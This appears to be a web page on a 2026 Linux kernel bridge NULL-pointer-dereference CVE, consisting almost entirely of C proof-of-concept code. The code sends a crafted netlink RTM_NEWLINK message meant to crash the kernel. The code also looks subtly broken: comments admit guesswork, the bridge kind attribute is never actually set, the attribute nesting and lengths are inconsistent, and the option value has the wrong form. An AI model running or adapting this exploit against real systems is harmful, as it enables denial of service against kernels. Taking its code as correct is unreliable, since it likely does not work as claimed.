CVE-2026-43100 Linux内核网桥空指针引用漏洞

/* * PoC for CVE-2026-43100 * Trigger NULL pointer deref in Linux Bridge by toggling FDB local VLAN 0 option * Requires CONFIG_BRIDGE_VLAN_FILTERING not set */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <linux/if_link.h> #define BRIDGE_NAME "br_test" void create_netlink_msg(int sock) { struct { struct nlmsghdr nh; struct ifinfomsg ifi; char buf[1024]; } req; struct rtattr *rta; int ifindex = if_nametoindex("lo"); // Dummy index or use existing interface memset(&req, 0, sizeof(req)); req.nh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); req.nh.nlmsg_type = RTM_NEWLINK; req.nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; req.ifi.ifi_family = AF_UNSPEC; // Add interface name rta = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.nh.nlmsg_len)); rta->rta_type = IFLA_IFNAME; rta->rta_len = RTA_LENGTH(strlen(BRIDGE_NAME) + 1); strcpy(RTA_DATA(rta), BRIDGE_NAME); req.nh.nlmsg_len = NLMSG_ALIGN(req.nh.nlmsg_len) + RTA_ALIGN(rta->rta_len); // Add link info (Bridge) struct rtattr *linkinfo = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.nh.nlmsg_len)); linkinfo->rta_type = IFLA_LINKINFO; linkinfo->rta_len = RTA_LENGTH(0); req.nh.nlmsg_len += RTA_ALIGN(linkinfo->rta_len); // Nested IFLA_INFO_KIND (bridge) struct rtattr *infodata = (struct rtattr *)(((char *)linkinfo) + RTA_LENGTH(0)); infodata->rta_type = IFLA_INFO_DATA; infodata->rta_len = RTA_LENGTH(0); linkinfo->rta_len += RTA_ALIGN(infodata->rta_len); // Set BR_BOOLOPT_FDB_LOCAL_VLAN_0 // Assuming option maps to a bit or value handled by br_boolopt_multi_toggle struct rtattr *boolopt = (struct rtattr *)(((char *)infodata) + RTA_LENGTH(0)); boolopt->rta_type = IFLA_BR_MULTI_BOOLOPT; // The value needed to trigger the specific path. // Based on git diff, this interacts with the br_boolopt_toggle. uint32_t opt_val = 1; boolopt->rta_len = RTA_LENGTH(sizeof(opt_val)); memcpy(RTA_DATA(boolopt), &opt_val, sizeof(opt_val)); infodata->rta_len += RTA_ALIGN(boolopt->rta_len); req.nh.nlmsg_len += RTA_ALIGN(infodata->rta_len); // Send message send(sock, &req, req.nh.nlmsg_len, 0); printf("[+] Payload sent to trigger CVE-2026-43100\n"); } int main() { int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock < 0) { perror("socket"); return 1; } struct sockaddr_nl addr; memset(&addr, 0, sizeof(addr)); addr.nl_family = AF_NETLINK; bind(sock, (struct sockaddr *)&addr, sizeof(addr)); create_netlink_msg(sock); close(sock); return 0; }